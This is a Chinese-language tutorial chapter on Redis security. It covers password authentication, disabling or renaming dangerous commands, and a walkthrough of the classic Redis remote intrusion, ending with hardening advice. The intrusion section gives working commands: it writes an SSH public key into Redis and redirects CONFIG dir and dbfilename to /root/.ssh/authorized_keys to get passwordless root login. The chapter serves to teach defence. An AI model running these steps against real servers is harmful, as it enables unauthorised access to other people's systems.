第7章 Redis安全管理
1. 密码认证
Redis 支持密码认证功能,通过在配置文件中设置 requirepass
参数启用:
requirepass 123456
使用密码的两种方式:
交互式认证:
[root@db-51 ~]# redis-cli
127.0.0.1:6379> set k1 v1
(error) NOAUTH Authentication required.
127.0.0.1:6379> AUTH 123456
OK
127.0.0.1:6379> keys *
1) "k1"
命令行认证:
[root@db-51 ~]# redis-cli -a '123456' get k1
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
"v1"
Redis 密码认证相对简单是因为:
- Redis 通常部署在内网环境,相对安全
- 开发人员不能 SSH 登录服务器,但可以远程连接 Redis,密码仍有必要
2. 危险命令管理
为了提高安全性,可以禁用或重命名危险命令。
禁用命令:
rename-command KEYS ""
rename-command SHUTDOWN ""
rename-command CONFIG ""
rename-command FLUSHALL ""
重命名命令:
rename-command KEYS "QQ526195417"
rename-command SHUTDOWN ""
rename-command CONFIG ""
rename-command FLUSHALL ""
3. Redis 远程入侵防范
入侵条件
攻击者利用 Redis 远程入侵需要满足:
- Redis 以 root 用户运行
- Redis 允许远程登录
- Redis 没有设置密码或密码简单
入侵原理
利用 Redis 热更新配置功能,动态修改持久化路径和文件名,将攻击者的 SSH 公钥写入目标服务器的 authorized_keys 文件,实现免密登录。
攻击步骤演示
1)生成密钥:
[root@db02 ~/.ssh]# ssh-keygen
2)准备密钥文件:
[root@db02 ~]# (echo -e "\n";cat /root/.ssh/id_rsa.pub ;echo -e "\n") > ssh_key
[root@db02 ~]# cat ssh_key
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH5vHJTq1UPP1YqzNUIfpXgWp5MV/hTzXStnT/JlusMG8/8DI2WYpbM20Pag5VlYKO8vA7Mn0ZbMmbpHUMOHLKmXK0y4k0bkYoSPTwbxP4a4paPLF50d+LRazqNq+P2RTnn7P9pG0kdSimpwDgcD32JjMJ7zxLFVbtsuOPfUHpnkvoI8967JC9kw/FH4CifZ+yyAneMxyqFstfKRPqUK0lwA/D5UuD4B4gv4WO6hu1bctHtI8qbIfSmHCgBrCG4qW+Xw1OWDimCLUwKUFW99RfVhzfmm9pTes+2twuf7wFK06LZVzcmfaXt43SFNLcVMMTn4RX0tzZyqVGYFtn94sOn root@db02
3)写入 Redis:
[root@db02 ~]# cat ssh_key |redis-cli -h 10.0.0.51 -x set ssh_key
OK
4)修改配置并保存:
[root@db02 ~]# redis-cli -h 10.0.0.51
10.0.0.51:6379> CONFIG set dir /root/.ssh
OK
10.0.0.51:6379> CONFIG set dbfilename authorized_keys
OK
10.0.0.51:6379> BGSAVE
Background saving started
5)验证入侵:
[root@db01 ~]# cat .ssh/authorized_keys
6)免密登录:
[root@db02 ~]# ssh 10.0.0.51
Last login: Wed Jun 24 23:00:14 2020 from 10.0.0.52
[root@db01 ~]#
防范措施
🚨 生产环境安全建议
生产环境中必须采取以下安全措施:
- 🔒 以普通用户运行 Redis,避免写入系统目录
- 🔑 设置复杂密码,定期更换
- 🌐 只监听内网地址,不要绑定 0.0.0.0
- 🚫 禁用 CONFIG、FLUSHALL 等危险命令
- 📊 做好监控告警和数据备份
更新: 2024-07-31 08:50:43